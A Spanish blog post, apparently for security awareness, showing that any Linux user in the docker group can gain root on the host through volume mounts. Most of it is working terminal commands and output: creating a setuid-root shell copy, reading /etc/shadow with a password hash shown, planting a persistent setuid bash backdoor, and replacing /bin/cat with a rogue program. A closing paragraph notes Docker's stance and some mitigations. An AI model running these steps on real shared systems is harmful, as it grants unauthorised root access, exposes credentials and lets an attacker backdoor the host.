¿Manejas contenedores Docker? Pues si quieres puedes hacerte root...

Ya hemos hablado de lo versátil que es Docker pero hay algo que (en mi opinión y la de otros) adolece a nivel de seguridad y es que cualquier usuario de un servidor Linux perteneciente al grupo docker puede abrir un shell como root, sobrescribir la configuración del sistema, acceder a información restringida, etc.

¿No te lo crees? Pues vamos a comprobarlo rápidamente. 


Primero creamos un usuario de prueba y lo agregamos al grupo docker:
root@kali:~# adduser prueba
root@kali:~# usermod -aG docker prueba

root@kali:~# su - prueba
prueba@kali:~$ pwd
/home/prueba

Luego creamos un nuevo contenedor basado en una imágen de Debian. Para ello preparamos un dockerfile:

prueba@kali:~$ mkdir docker-test
prueba@kali:~$ cd docker-test
prueba@kali:~/docker-test$ vi Dockerfile

FROM debian:wheezy
ENV WORKDIR /dir_pruebas
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR ]
WORKDIR $WORKDIR

Guardamos y lanzamos:

prueba@kali:~/docker-test$ docker build -t my-docker-image .

Ya está. Ahora simplemente copiamos el shell y agregamos el setgid:

prueba@kali:~/docker-test$ docker run -v $PWD:/dir_pruebas -t my-docker-image /bin/sh -c \
> 'cp /bin/sh /dir_pruebas && /bin/chown root.root /dir_pruebas/sh && chmod a+s /dir_pruebas/sh'
prueba@kali:~/docker-test$ ls -las
total 120
  4 drwxr-xr-x 2 prueba prueba   4096 Oct  7 12:45 .
  4 drwxr-xr-x 3 prueba prueba   4096 Oct  7 12:45 ..
  4 -rw-r--r-- 1 prueba prueba    103 Oct  7 12:45 Dockerfile
108 -rwsr-sr-x 1 root   root   106920 Oct  7 12:50 sh

Lo ejecutamos:

prueba@kali:~/docker-test$ ./sh

Y comprobamos que ya somos root:

# whoami
root

Así de simple.

Por supuesto podemos leer también ficheros a los que inicialmente no tenemos permiso:
prueba@kali:~/docker-test$ docker run -v /etc:/dir_pruebas -t my-docker-image /bin/sh -c 'cat shadow'
root:$6$9sirPrQg$keegdhdfhsddy4566e57y635yhfdhxcghdfgSDFGsdffgdsfgsdgdscA4jXTtMAOmHy6iA2l7eksg1:16657:0:99999:7:::
daemon:*:16656:0:99999:7:::
bin:*:16656:0:99999:7:::
sys:*:16656:0:99999:7:::
sync:*:16656:0:99999:7:::
games:*:16656:0:99999:7:::
man:*:16656:0:99999:7:::
lp:*:16656:0:99999:7:::
mail:*:16656:0:99999:7:::
news:*:16656:0:99999:7:::
...

Crear una copia de un bash con privilegios para acceder más tarde:
prueba@kali:~/docker-test$ docker run -v /:/dir_pruebas -t my-docker-image /bin/sh -c \
> 'cp /dir_pruebas/bin/bash /dir_pruebas/bin/root-shell-ftw && chmod a+s /dir_pruebas/bin/root-shell-ftw'
prueba@kali:~/docker-test$ root-shell-ftw  -p
root-shell-ftw-4.3# whoami
root

Sobreescribir comandos del sistema por otros maliciosos:
prueba@kali:~/docker-test$ docker run -v /:/dir_pruebas -t my-docker-image /bin/sh -c \
'cp /dir_pruebas/rogue-program /dir_pruebas/bin/cat'

Y en definitiva, hacer lo que se nos de en gana hasta donde nos lleve nuestra imaginación.

No obstante el equipo de seguridad de Docker no califica ésto como una vulnerabilidad puesto que considera que cualquier usuario que pueda utilizar Docker tiene privilegios totales dentro y fuera de los contenedores. Es decir, por diseño el grupo docker equivaldría al de root...

¿Solución a ésto? Utilizar SELinux, opción -v... y evitar no instalar Docker en una máquina con información sensible de otros usuarios (ups!).

Fuente: Using the docker command to root the host (totally not a security issue)

Comentarios